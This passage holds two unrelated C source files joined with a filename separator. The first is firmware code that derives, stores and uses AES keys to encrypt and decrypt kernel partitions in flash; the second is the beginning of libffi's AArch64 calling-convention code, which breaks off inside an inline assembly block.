hi_flash_partition_table *partition = hi_get_partition_table();
hi_u32 kernel_a = partition->table[HI_FLASH_PARTITON_KERNEL_A].addr;
hi_u32 kernel_b = partition->table[HI_FLASH_PARTITON_KERNEL_B].addr;
if (cfg->kernel_start == kernel_a) {
*content = CRYPTO_WORKKEY_KERNEL_A;
*content_bak = CRYPTO_WORKKEY_KERNEL_A_BACKUP;
} else if (cfg->kernel_start == kernel_b) {
*content = CRYPTO_WORKKEY_KERNEL_B;
*content_bak = CRYPTO_WORKKEY_KERNEL_B_BACKUP;
} else {
return HI_ERR_FLASH_CRYPTO_KERNEL_ADDR_ERR;
}
return HI_ERR_SUCCESS;
}
static hi_u32 crypto_load_salt(crypto_workkey_partition part, hi_flash_crypto_content *key_content)
{
hi_u32 ret = HI_ERR_SUCCESS;
hi_u8 salt_e[ROOT_SALT_LENGTH] = { 0 };
(hi_void) memset_s(salt_e, sizeof(salt_e), 0x0, ROOT_SALT_LENGTH);
if (part == CRYPTO_WORKKEY_KERNEL_A) {
ret = hi_factory_nv_read(HI_NV_FTM_KERNELA_WORK_ID, key_content, sizeof(hi_flash_crypto_content), 0);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
} else if (part == CRYPTO_WORKKEY_KERNEL_A_BACKUP) {
ret = hi_factory_nv_read(HI_NV_FTM_BACKUP_KERNELA_WORK_ID, key_content, sizeof(hi_flash_crypto_content), 0);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
}
if (memcmp(key_content->root_salt, salt_e, ROOT_SALT_LENGTH) == HI_ERR_SUCCESS) {
ret = HI_ERR_FLASH_CRYPTO_ROOT_SALT_EMPTY_ERR;
goto fail;
}
fail:
return ret;
}
static hi_u32 crypto_get_root_salt(hi_flash_crypto_content *key_content)
{
hi_u32 ret = crypto_load_salt(CRYPTO_WORKKEY_KERNEL_A, key_content);
if (ret != HI_ERR_SUCCESS) {
ret = crypto_load_salt(CRYPTO_WORKKEY_KERNEL_A_BACKUP, key_content);
if (ret != HI_ERR_SUCCESS) {
return ret;
}
}
return HI_ERR_SUCCESS;
}
static hi_u32 crypto_prepare(hi_flash_crypto_content *save_content)
{
hi_u32 ret;
hi_u8 rootkey_iv[ROOTKEY_IV_BYTE_LENGTH];
hi_cipher_kdf_ctrl ctrl;
ret = hi_cipher_init();
if (ret != HI_ERR_SUCCESS) {
return ret;
}
ret = crypto_get_root_salt(save_content);
if (ret != HI_ERR_SUCCESS) {
return ret;
}
ret = memcpy_s(rootkey_iv, sizeof(rootkey_iv), save_content->root_salt, ROOT_SALT_LENGTH);
if (ret != HI_ERR_SUCCESS) {
return ret;
}
ctrl.salt = rootkey_iv;
ctrl.salt_len = sizeof(rootkey_iv);
ctrl.kdf_cnt = ENCRYPT_KDF_ITERATION_CNT;
ctrl.kdf_mode = HI_CIPHER_SSS_KDF_KEY_STORAGE;
return hi_cipher_kdf_key_derive(&ctrl);
}
static hi_void crpto_set_aes_ctrl_default_value(hi_cipher_aes_ctrl *aes_ctrl)
{
if (aes_ctrl == HI_NULL) {
return;
}
aes_ctrl->random_en = HI_FALSE;
aes_ctrl->key_from = HI_CIPHER_AES_KEY_FROM_CPU;
aes_ctrl->work_mode = HI_CIPHER_AES_WORK_MODE_CBC;
aes_ctrl->key_len = HI_CIPHER_AES_KEY_LENGTH_256BIT;
}
static hi_u32 crypto_decrypt_hash(hi_flash_crypto_content *key_content)
{
hi_u32 ret;
hi_u32 content_size = (hi_u32)sizeof(hi_flash_crypto_content);
hi_flash_crypto_content *content_tmp = (hi_flash_crypto_content *)hi_malloc(HI_MOD_ID_CRYPTO, content_size);
if (content_tmp == HI_NULL) {
return HI_ERR_FLASH_CRYPTO_MALLOC_FAIL;
}
ret = (hi_u32)memcpy_s(content_tmp, content_size, key_content, content_size);
if (ret != EOK) {
goto fail;
}
hi_cipher_aes_ctrl aes_ctrl = {
.random_en = HI_FALSE,
.key_from = HI_CIPHER_AES_KEY_FROM_KDF,
.work_mode = HI_CIPHER_AES_WORK_MODE_CBC,
.key_len = HI_CIPHER_AES_KEY_LENGTH_256BIT,
};
ret = (hi_u32)memcpy_s(aes_ctrl.iv, sizeof(aes_ctrl.iv), content_tmp->iv_nv, IV_BYTE_LENGTH);
if (ret != EOK) {
goto fail;
}
ret = hi_cipher_aes_config(&aes_ctrl);
if (ret != HI_ERR_SUCCESS) {
goto crypto_fail;
}
ret = hi_cipher_aes_crypto((uintptr_t)content_tmp->iv_content, (uintptr_t)key_content->iv_content,
content_size - ROOT_SALT_LENGTH - IV_BYTE_LENGTH, HI_FALSE);
if (ret != HI_ERR_SUCCESS) {
goto crypto_fail;
}
crypto_fail:
(hi_void) hi_cipher_aes_destroy_config();
fail:
crypto_clear_content((hi_u8 *)content_tmp, content_size);
crypto_mem_free(content_tmp);
return ret;
}
static hi_u32 crypto_encrypt_hash(hi_flash_crypto_content *key_content)
{
hi_cipher_aes_ctrl aes_ctrl;
hi_u32 content_size = (hi_u32)sizeof(hi_flash_crypto_content);
hi_u32 encrypt_size = content_size - ROOT_SALT_LENGTH - IV_BYTE_LENGTH;
hi_flash_crypto_content *data_tmp = (hi_flash_crypto_content *)hi_malloc(HI_MOD_ID_CRYPTO, content_size);
if (data_tmp == HI_NULL) {
return HI_ERR_FLASH_CRYPTO_MALLOC_FAIL;
}
hi_u32 ret = (hi_u32)memcpy_s(aes_ctrl.iv, sizeof(aes_ctrl.iv), key_content->iv_nv, IV_BYTE_LENGTH);
if (ret != EOK) {
goto fail;
}
aes_ctrl.random_en = HI_FALSE;
aes_ctrl.key_from = HI_CIPHER_AES_KEY_FROM_KDF;
aes_ctrl.work_mode = HI_CIPHER_AES_WORK_MODE_CBC;
aes_ctrl.key_len = HI_CIPHER_AES_KEY_LENGTH_256BIT;
ret = hi_cipher_aes_config(&aes_ctrl);
if (ret != HI_ERR_SUCCESS) {
goto crypto_fail;
}
ret = hi_cipher_aes_crypto((hi_u32)(uintptr_t)key_content->iv_content, (hi_u32)(uintptr_t)(data_tmp->iv_content),
encrypt_size, HI_TRUE);
if (ret != HI_ERR_SUCCESS) {
goto crypto_fail;
}
ret = (hi_u32)memcpy_s(key_content->iv_content, encrypt_size, data_tmp->iv_content, encrypt_size);
crypto_fail:
(hi_void) hi_cipher_aes_destroy_config();
fail:
crypto_clear_content((hi_u8 *)data_tmp, content_size);
crypto_mem_free(data_tmp);
return ret;
}
static hi_u32 crypto_load_key_content(crypto_workkey_partition part, hi_flash_crypto_content *key_content)
{
hi_u32 ret = HI_ERR_SUCCESS;
hi_u8 hash[SHA_256_LENGTH];
hi_u8 key_e[KEY_BYTE_LENGTH] = { 0 };
(hi_void) memset_s(key_e, sizeof(key_e), 0x0, KEY_BYTE_LENGTH);
if (part == CRYPTO_WORKKEY_KERNEL_A) {
ret = hi_factory_nv_read(HI_NV_FTM_KERNELA_WORK_ID, key_content, sizeof(hi_flash_crypto_content), 0);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
} else if (part == CRYPTO_WORKKEY_KERNEL_A_BACKUP) {
ret = hi_factory_nv_read(HI_NV_FTM_BACKUP_KERNELA_WORK_ID, key_content, sizeof(hi_flash_crypto_content), 0);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
} else if (part == CRYPTO_WORKKEY_KERNEL_B) {
ret = hi_factory_nv_read(HI_NV_FTM_KERNELB_WORK_ID, key_content, sizeof(hi_flash_crypto_content), 0);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
} else if (part == CRYPTO_WORKKEY_KERNEL_B_BACKUP) {
ret = hi_factory_nv_read(HI_NV_FTM_BACKUP_KERNELB_WORK_ID, key_content, sizeof(hi_flash_crypto_content), 0);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
}
if (memcmp(key_content->work_text, key_e, KEY_BYTE_LENGTH) == HI_ERR_SUCCESS) {
ret = HI_ERR_FLASH_CRYPTO_KEY_EMPTY_ERR;
goto fail;
}
ret = crypto_decrypt_hash(key_content);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
ret = hi_cipher_hash_sha256((uintptr_t)(key_content->root_salt), sizeof(hi_flash_crypto_content) - SHA_256_LENGTH,
hash, SHA_256_LENGTH);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
if (memcmp(key_content->content_sh256, hash, SHA_256_LENGTH) != HI_ERR_SUCCESS) {
ret = HI_ERR_FLASH_CRYPTO_KEY_INVALID_ERR;
goto fail;
}
fail:
return ret;
}
static hi_u32 crypto_save_work_key(crypto_workkey_partition part, hi_flash_crypto_content *key_content)
{
hi_u32 ret;
hi_u32 content_size = (hi_u32)sizeof(hi_flash_crypto_content);
hi_flash_crypto_content *content_tmp = (hi_flash_crypto_content *)hi_malloc(HI_MOD_ID_CRYPTO, content_size);
if (content_tmp == HI_NULL) {
return HI_ERR_FLASH_CRYPTO_MALLOC_FAIL;
}
ret = (hi_u32)memcpy_s(content_tmp, content_size, key_content, content_size);
if (ret != EOK) {
goto fail;
}
/* Encrypt，then save to factory NV. */
ret = crypto_encrypt_hash(content_tmp);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
if ((hi_u32)part & CRYPTO_WORKKEY_KERNEL_A) {
ret = hi_factory_nv_write(HI_NV_FTM_KERNELA_WORK_ID, content_tmp, content_size, 0);
if (ret != HI_ERR_SUCCESS) {
ret = HI_ERR_FLASH_CRYPTO_KEY_SAVE_ERR;
goto fail;
}
}
if ((hi_u32)part & CRYPTO_WORKKEY_KERNEL_A_BACKUP) {
ret = hi_factory_nv_write(HI_NV_FTM_BACKUP_KERNELA_WORK_ID, content_tmp, content_size, 0);
if (ret != HI_ERR_SUCCESS) {
ret = HI_ERR_FLASH_CRYPTO_KEY_SAVE_ERR;
goto fail;
}
}
if ((hi_u32)part & CRYPTO_WORKKEY_KERNEL_B) {
ret = hi_factory_nv_write(HI_NV_FTM_KERNELB_WORK_ID, content_tmp, content_size, 0);
if (ret != HI_ERR_SUCCESS) {
ret = HI_ERR_FLASH_CRYPTO_KEY_SAVE_ERR;
goto fail;
}
}
if ((hi_u32)part & CRYPTO_WORKKEY_KERNEL_B_BACKUP) {
ret = hi_factory_nv_write(HI_NV_FTM_BACKUP_KERNELB_WORK_ID, content_tmp, content_size, 0);
if (ret != HI_ERR_SUCCESS) {
ret = HI_ERR_FLASH_CRYPTO_KEY_SAVE_ERR;
goto fail;
}
}
fail:
crypto_clear_content((hi_u8 *)content_tmp, content_size);
crypto_mem_free(content_tmp);
return ret;
}
static hi_u32 crypto_gen_key_content(hi_flash_crypto_content *key_content)
{
hi_u8 salt[IV_BYTE_LENGTH];
hi_u8 kdf_key[KEY_BYTE_LENGTH];
hi_cipher_kdf_ctrl ctrl;
(hi_void)hi_cipher_trng_get_random_bytes(salt, IV_BYTE_LENGTH);
(hi_void)hi_cipher_trng_get_random_bytes(kdf_key, KEY_BYTE_LENGTH);
(hi_void)hi_cipher_trng_get_random_bytes(key_content->iv_nv, IV_BYTE_LENGTH);
(hi_void)hi_cipher_trng_get_random_bytes(key_content->iv_content, IV_BYTE_LENGTH);
if ((hi_u32)memcpy_s(ctrl.key, sizeof(ctrl.key), kdf_key, sizeof(kdf_key)) != EOK) {
return HI_ERR_FAILURE;
}
ctrl.salt = salt;
ctrl.salt_len = sizeof(salt);
ctrl.kdf_cnt = ENCRYPT_KDF_ITERATION_CNT;
ctrl.kdf_mode = HI_CIPHER_SSS_KDF_KEY_DEVICE; /* In this mode, user should provide root key. */
if (hi_cipher_kdf_key_derive(&ctrl) != HI_ERR_SUCCESS) {
return HI_ERR_FAILURE;
}
if (memcpy_s(key_content->work_text, KEY_BYTE_LENGTH, ctrl.result, sizeof(ctrl.result)) != EOK) {
return HI_ERR_FAILURE;
}
if (hi_cipher_hash_sha256((uintptr_t)(key_content->root_salt), sizeof(hi_flash_crypto_content) - SHA_256_LENGTH,
key_content->content_sh256, SHA_256_LENGTH) != HI_ERR_SUCCESS) {
return HI_ERR_FAILURE;
}
return HI_ERR_SUCCESS;
}
static hi_u32 crypto_decrypt_kernel(hi_flash_crypto_content *content, encrypt_ctx *para)
{
hi_u32 ret;
hi_cipher_aes_ctrl aes_ctrl;
hi_u8 *fw_raw_data = para->raw_buf;
ret = (hi_u32)memcpy_s(aes_ctrl.key, sizeof(aes_ctrl.key), content->work_text, KEY_BYTE_LENGTH);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
ret = (hi_u32)memcpy_s(aes_ctrl.iv, sizeof(aes_ctrl.iv), content->iv_content, IV_BYTE_LENGTH);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
crpto_set_aes_ctrl_default_value(&aes_ctrl);
ret = hi_cipher_aes_config(&aes_ctrl);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
ret = hi_cipher_aes_crypto(para->kernel_start + para->encrypt_offset + SFC_BUFFER_BASE_ADDRESS,
(uintptr_t)fw_raw_data, para->encrypt_size, HI_FALSE);
if (ret != HI_ERR_SUCCESS) {
goto crypto_fail;
}
crypto_fail:
(hi_void) hi_cipher_aes_destroy_config();
fail:
return ret;
}
hi_u32 crypto_decrypt(encrypt_ctx *para)
{
hi_bool is_backup_content = HI_FALSE;
crypto_workkey_partition werk_content;
crypto_workkey_partition werk_content_bak;
hi_u32 ret = crypto_content_id(para, &werk_content, &werk_content_bak);
if (ret != HI_ERR_SUCCESS) {
return ret;
}
hi_flash_crypto_content *key_content = (hi_flash_crypto_content *)hi_malloc(HI_MOD_ID_CRYPTO,
sizeof(hi_flash_crypto_content));
if (key_content == HI_NULL) {
return HI_ERR_FLASH_CRYPTO_PREPARE_ERR;
}
ret = crypto_prepare(key_content);
if (ret != HI_ERR_SUCCESS) {
crypto_clear_content((hi_u8 *)key_content, (hi_u32)sizeof(hi_flash_crypto_content));
crypto_mem_free(key_content);
return HI_ERR_FLASH_CRYPTO_PREPARE_ERR;
}
ret = crypto_load_key_content(werk_content, key_content);
if (ret != HI_ERR_SUCCESS) {
ret = crypto_load_key_content(werk_content_bak, key_content);
if (ret != HI_ERR_SUCCESS) {
goto fail;
} else {
ret = crypto_save_work_key(werk_content, key_content);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
is_backup_content = HI_TRUE;
}
}
ret = crypto_decrypt_kernel(key_content, para);
if ((ret != HI_ERR_SUCCESS) && (is_backup_content == HI_FALSE)) {
ret = crypto_load_key_content(werk_content_bak, key_content);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
ret = crypto_decrypt_kernel(key_content, para);
if (ret != HI_ERR_SUCCESS) {
ret = HI_ERR_FLASH_CRYPTO_DATA_DECRYPT_ERR;
goto fail;
}
}
fail:
crypto_clear_content((hi_u8 *)key_content, (hi_u32)sizeof(hi_flash_crypto_content));
crypto_mem_free(key_content);
return ret;
}
static hi_u32 crypto_encrypt_data(hi_flash_crypto_content *new_content, encrypt_ctx *para)
{
hi_u32 ret = HI_ERR_FAILURE;
hi_cipher_aes_ctrl aes_ctrl;
hi_u8 *fw_cyp_data = hi_malloc(HI_MOD_ID_CRYPTO, para->encrypt_size);
if (fw_cyp_data == HI_NULL) {
return HI_ERR_FLASH_CRYPTO_PREPARE_ERR;
}
if (memcpy_s(aes_ctrl.key, sizeof(aes_ctrl.key), new_content->work_text, KEY_BYTE_LENGTH) != EOK) {
goto fail;
}
if (memcpy_s(aes_ctrl.iv, sizeof(aes_ctrl.iv), new_content->iv_content, IV_BYTE_LENGTH) != EOK) {
goto fail;
}
crpto_set_aes_ctrl_default_value(&aes_ctrl);
ret = hi_cipher_aes_config(&aes_ctrl);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
ret = hi_cipher_aes_crypto((uintptr_t)(para->raw_buf), (uintptr_t)fw_cyp_data, para->encrypt_size, HI_TRUE);
(hi_void) hi_cipher_aes_destroy_config();
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
ret = hi_flash_write(para->kernel_start + para->encrypt_offset, para->encrypt_size, fw_cyp_data, HI_TRUE);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
fail:
crypto_mem_free(fw_cyp_data);
return ret;
}
hi_u32 encrypt_check_start_addr(hi_u32 offset_addr)
{
hi_flash_partition_table *partition = hi_get_partition_table();
hi_u32 kernel_a = partition->table[HI_FLASH_PARTITON_KERNEL_A].addr;
hi_u32 kernel_b = partition->table[HI_FLASH_PARTITON_KERNEL_B].addr;
if ((offset_addr != kernel_a) && (offset_addr != kernel_b)) {
return HI_ERR_FLASH_CRYPTO_INVALID_PARAM;
}
return HI_ERR_SUCCESS;
}
hi_u32 encrypt_upg_data(encrypt_ctx *para)
{
hi_u32 ret;
crypto_workkey_partition werk_content;
crypto_workkey_partition werk_content_bak;
ret = crypto_content_id(para, &werk_content, &werk_content_bak);
if (ret != HI_ERR_SUCCESS) {
return ret;
}
hi_flash_crypto_content *new_content = (hi_flash_crypto_content *)hi_malloc(HI_MOD_ID_CRYPTO,
sizeof(hi_flash_crypto_content));
if (new_content == HI_NULL) {
return HI_ERR_FLASH_CRYPTO_PREPARE_ERR;
}
ret = crypto_prepare(new_content);
if (ret != HI_ERR_SUCCESS) {
crypto_clear_content((hi_u8 *)new_content, (hi_u32)sizeof(hi_flash_crypto_content));
crypto_mem_free(new_content);
return HI_ERR_FLASH_CRYPTO_PREPARE_ERR;
}
ret = crypto_gen_key_content(new_content);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
ret = crypto_save_work_key(werk_content, new_content);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
ret = crypto_encrypt_data(new_content, para);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
ret = crypto_save_work_key(werk_content_bak, new_content);
if (ret != HI_ERR_SUCCESS) {
}
fail:
crypto_clear_content((hi_u8 *)new_content, (hi_u32)sizeof(hi_flash_crypto_content));
crypto_mem_free(new_content);
return ret;
}
hi_u32 crypto_init_param(encrypt_ctx *para, uintptr_t kernel_start)
{
hi_u32 ret;
hi_upg_head *upg_head = (hi_upg_head *)hi_malloc(HI_MOD_ID_CRYPTO, sizeof(hi_upg_head));
if (upg_head == HI_NULL) {
return HI_ERR_UPG_CRYPTO_PREPARE_ERR;
}
ret = hi_flash_read(kernel_start, sizeof(hi_upg_head), (hi_u8 *)upg_head);
if (ret != HI_ERR_SUCCESS) {
crypto_print("[%s]get upg head addr:0x%x ret:0x%x \r\n", __FUNCTION__, kernel_start, ret);
goto fail;
}
para->kernel_start = kernel_start;
para->encrypt_offset = sizeof(hi_upg_file_head);
para->encrypt_size = CRYPTO_KERNEL_LENGTH;
ret = (hi_u32)memcpy_s(para->upg_salt, IV_BYTE_LENGTH, upg_head->common.aes_key, IV_BYTE_LENGTH);
if (ret != EOK) {
goto fail;
}
ret = (hi_u32)memcpy_s(para->upg_iv, IV_BYTE_LENGTH, upg_head->common.aes_iv, IV_BYTE_LENGTH);
if (ret != EOK) {
goto fail;
}
para->raw_buf = (hi_u8 *)hi_malloc(0, para->encrypt_size);
if (para->raw_buf == HI_NULL) {
ret = HI_ERR_UPG_CRYPTO_PREPARE_ERR;
goto fail;
}
fail:
crypto_mem_free(upg_head);
return ret;
}
hi_u32 crypto_upg_file_prepare(encrypt_ctx *para)
{
hi_u32 ret;
hi_cipher_kdf_ctrl ctrl;
hi_u8 salt[ROOTKEY_IV_BYTE_LENGTH] = {0};
ret = (hi_u32)memcpy_s((hi_void *)salt, sizeof(salt), (hi_void *)(para->upg_salt), IV_BYTE_LENGTH);
if (ret != EOK) {
return ret;
}
ret = (hi_u32)memcpy_s((hi_void *)(salt + IV_BYTE_LENGTH), sizeof(salt) - IV_BYTE_LENGTH,
(hi_void *)g_upg_file_magic, IV_BYTE_LENGTH);
if (ret != EOK) {
return ret;
}
ctrl.salt = salt;
ctrl.salt_len = ROOTKEY_IV_BYTE_LENGTH;
ctrl.kdf_cnt = ENCRYPT_KDF_ITERATION_CNT;
ctrl.kdf_mode = HI_CIPHER_SSS_KDF_KEY_STORAGE;
ret = hi_cipher_kdf_key_derive(&ctrl);
if (ret != HI_ERR_SUCCESS) {
return ret;
}
return HI_ERR_SUCCESS;
}
hi_u32 crypto_upg_file_decrypt(encrypt_ctx *para)
{
hi_u32 ret;
hi_cipher_aes_ctrl aes_ctrl;
hi_u8 *fw_raw_data = para->raw_buf;
ret = crypto_upg_file_prepare(para);
if (ret != HI_ERR_SUCCESS) {
return HI_ERR_UPG_CRYPTO_PREPARE_ERR;
}
ret = (hi_u32)memcpy_s(aes_ctrl.iv, sizeof(aes_ctrl.iv), para->upg_iv, IV_BYTE_LENGTH);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
aes_ctrl.random_en = HI_FALSE;
aes_ctrl.key_from = HI_CIPHER_AES_KEY_FROM_KDF;
aes_ctrl.work_mode = HI_CIPHER_AES_WORK_MODE_CBC;
aes_ctrl.key_len = HI_CIPHER_AES_KEY_LENGTH_256BIT;
ret = hi_cipher_aes_config(&aes_ctrl);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
ret = hi_cipher_aes_crypto(para->kernel_start + para->encrypt_offset + SFC_BUFFER_BASE_ADDRESS,
(uintptr_t)fw_raw_data, para->encrypt_size, HI_FALSE);
if (ret != HI_ERR_SUCCESS) {
goto crypto_fail;
}
crypto_fail:
(hi_void) hi_cipher_aes_destroy_config();
fail:
return ret;
}
hi_u32 crypto_encrypt_data_to_flash(uintptr_t kernel_offset)
{
hi_u32 ret;
encrypt_ctx *data = encrypt_get_ctx();
ret = crypto_init_param(data, kernel_offset);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
ret = crypto_upg_file_decrypt(data);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
ret = encrypt_upg_data(data);
if (ret != HI_ERR_SUCCESS) {
goto fail;
}
fail:
crypto_mem_free(data->raw_buf);
return ret;
}
#endif
|
the_stack_data/12691.c | #if defined(__aarch64__) || defined(__arm64__)
/* Copyright (c) 2009, 2010, 2011, 2012 ARM Ltd.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
``Software''), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fficonfig.h>
#include <ffi.h>
#include <ffi_common.h>
#include "internal.h"
/* Force FFI_TYPE_LONGDOUBLE to be different than FFI_TYPE_DOUBLE;
all further uses in this file will refer to the 128-bit type. */
#if FFI_TYPE_DOUBLE != FFI_TYPE_LONGDOUBLE
# if FFI_TYPE_LONGDOUBLE != 4
# error FFI_TYPE_LONGDOUBLE out of date
# endif
#else
# undef FFI_TYPE_LONGDOUBLE
# define FFI_TYPE_LONGDOUBLE 4
#endif
union _d
{
UINT64 d;
UINT32 s[2];
};
struct _v
{
union _d d[2] __attribute__((aligned(16)));
};
struct call_context
{
struct _v v[N_V_ARG_REG];
UINT64 x[N_X_ARG_REG];
};
#if FFI_EXEC_TRAMPOLINE_TABLE
#ifdef __MACH__
#include <mach/vm_param.h>
#endif
#else
#if defined (__clang__) && defined (__APPLE__)
extern void sys_icache_invalidate (void *start, size_t len);
#endif
static inline void
ffi_clear_cache (void *start, void *end)
{
#if defined (__clang__) && defined (__APPLE__)
sys_icache_invalidate (start, (char *)end - (char *)start);
#elif defined (__GNUC__)
__builtin___clear_cache (start, end);
#else
#error "Missing builtin to flush instruction cache"
#endif
}
#endif
/* A subroutine of is_vfp_type. Given a structure type, return the type code
of the first non-structure element. Recurse for structure elements.
Return -1 if the structure is in fact empty, i.e. no nested elements. */
static int
is_hfa0 (const ffi_type *ty)
{
ffi_type **elements = ty->elements;
int i, ret = -1;
if (elements != NULL)
for (i = 0; elements[i]; ++i)
{
ret = elements[i]->type;
if (ret == FFI_TYPE_STRUCT || ret == FFI_TYPE_COMPLEX)
{
ret = is_hfa0 (elements[i]);
if (ret < 0)
continue;
}
break;
}
return ret;
}
/* A subroutine of is_vfp_type. Given a structure type, return true if all
of the non-structure elements are the same as CANDIDATE. */
static int
is_hfa1 (const ffi_type *ty, int candidate)
{
ffi_type **elements = ty->elements;
int i;
if (elements != NULL)
for (i = 0; elements[i]; ++i)
{
int t = elements[i]->type;
if (t == FFI_TYPE_STRUCT || t == FFI_TYPE_COMPLEX)
{
if (!is_hfa1 (elements[i], candidate))
return 0;
}
else if (t != candidate)
return 0;
}
return 1;
}
/* Determine if TY may be allocated to the FP registers. This is both an
fp scalar type as well as an homogenous floating point aggregate (HFA).
That is, a structure consisting of 1 to 4 members of all the same type,
where that type is an fp scalar.
Returns non-zero iff TY is an HFA. The result is the AARCH64_RET_*
constant for the type. */
static int
is_vfp_type (const ffi_type *ty)
{
ffi_type **elements;
int candidate, i;
size_t size, ele_count;
/* Quickest tests first. */
candidate = ty->type;
switch (candidate)
{
default:
return 0;
case FFI_TYPE_FLOAT:
case FFI_TYPE_DOUBLE:
case FFI_TYPE_LONGDOUBLE:
ele_count = 1;
goto done;
case FFI_TYPE_COMPLEX:
candidate = ty->elements[0]->type;
switch (candidate)
{
case FFI_TYPE_FLOAT:
case FFI_TYPE_DOUBLE:
case FFI_TYPE_LONGDOUBLE:
ele_count = 2;
goto done;
}
return 0;
case FFI_TYPE_STRUCT:
break;
}
/* No HFA types are smaller than 4 bytes, or larger than 64 bytes. */
size = ty->size;
if (size < 4 || size > 64)
return 0;
/* Find the type of the first non-structure member. */
elements = ty->elements;
candidate = elements[0]->type;
if (candidate == FFI_TYPE_STRUCT || candidate == FFI_TYPE_COMPLEX)
{
for (i = 0; ; ++i)
{
candidate = is_hfa0 (elements[i]);
if (candidate >= 0)
break;
}
}
/* If the first member is not a floating point type, it's not an HFA.
Also quickly re-check the size of the structure. */
switch (candidate)
{
case FFI_TYPE_FLOAT:
ele_count = size / sizeof(float);
if (size != ele_count * sizeof(float))
return 0;
break;
case FFI_TYPE_DOUBLE:
ele_count = size / sizeof(double);
if (size != ele_count * sizeof(double))
return 0;
break;
case FFI_TYPE_LONGDOUBLE:
ele_count = size / sizeof(long double);
if (size != ele_count * sizeof(long double))
return 0;
break;
default:
return 0;
}
if (ele_count > 4)
return 0;
/* Finally, make sure that all scalar elements are the same type. */
for (i = 0; elements[i]; ++i)
{
int t = elements[i]->type;
if (t == FFI_TYPE_STRUCT || t == FFI_TYPE_COMPLEX)
{
if (!is_hfa1 (elements[i], candidate))
return 0;
}
else if (t != candidate)
return 0;
}
/* All tests succeeded. Encode the result. */
done:
return candidate * 4 + (4 - (int)ele_count);
}
/* Representation of the procedure call argument marshalling
state.
The terse state variable names match the names used in the AARCH64
PCS. */
struct arg_state
{
unsigned ngrn; /* Next general-purpose register number. */
unsigned nsrn; /* Next vector register number. */
size_t nsaa; /* Next stack offset. */
#if defined (__APPLE__)
unsigned allocating_variadic;
#endif
};
/* Initialize a procedure call argument marshalling state. */
static void
arg_init (struct arg_state *state)
{
state->ngrn = 0;
state->nsrn = 0;
state->nsaa = 0;
#if defined (__APPLE__)
state->allocating_variadic = 0;
#endif
}
/* Allocate an aligned slot on the stack and return a pointer to it. */
static void *
allocate_to_stack (struct arg_state *state, void *stack,
size_t alignment, size_t size)
{
size_t nsaa = state->nsaa;
/* Round up the NSAA to the larger of 8 or the natural
alignment of the argument's type. */
#if defined (__APPLE__)
if (state->allocating_variadic && alignment < 8)
alignment = 8;
#else
if (alignment < 8)
alignment = 8;
#endif
nsaa = FFI_ALIGN (nsaa, alignment);
state->nsaa = nsaa + size;
return (char *)stack + nsaa;
}
static ffi_arg
extend_integer_type (void *source, int type)
{
switch (type)
{
case FFI_TYPE_UINT8:
return *(UINT8 *) source;
case FFI_TYPE_SINT8:
return *(SINT8 *) source;
case FFI_TYPE_UINT16:
return *(UINT16 *) source;
case FFI_TYPE_SINT16:
return *(SINT16 *) source;
case FFI_TYPE_UINT32:
return *(UINT32 *) source;
case FFI_TYPE_INT:
case FFI_TYPE_SINT32:
return *(SINT32 *) source;
case FFI_TYPE_UINT64:
case FFI_TYPE_SINT64:
return *(UINT64 *) source;
break;
case FFI_TYPE_POINTER:
return *(uintptr_t *) source;
default:
abort();
}
}
static void
extend_hfa_type (void *dest, void *src, int h)
{
ssize_t f = h - AARCH64_RET_S4;
void *x0;
asm volatile (
"adr %0, 0f\n"
" add %0, %0, %1\n"
" br %0\n"
"0: ldp s16, s17, [%3]\n" /* S4 */
" ldp s18, s19, [%3, #8]\n"
" b 4f\n"
" ldp s16, s17, [%3]\n" /* S3 */
" ldr s18, [%3, #8]\n"
" b 3f\n"
" ldp s16, s17, [%3]\n" /* S2 */
" b 2f\n"
" nop\n"
" ldr s16, [%3]\n" /* S1 */
" b 1f\n"
" nop\n"
" ldp d16, d17, [%3]\n" /* D4 */
" ldp d18, d19, [%3, #16]\n"
" b 4f\n"
" ldp d16, d17, [%3]\n" /* D3 */
" ldr d18, [%3, #16]\n"
" b 3f\n"
" ldp d16, d17, [%3]\n" /* D2 */
" b 2f\n"
" nop\n"
" ldr d16, [%3]\n" /* D1 */
" b 1f\n"
" nop\n"
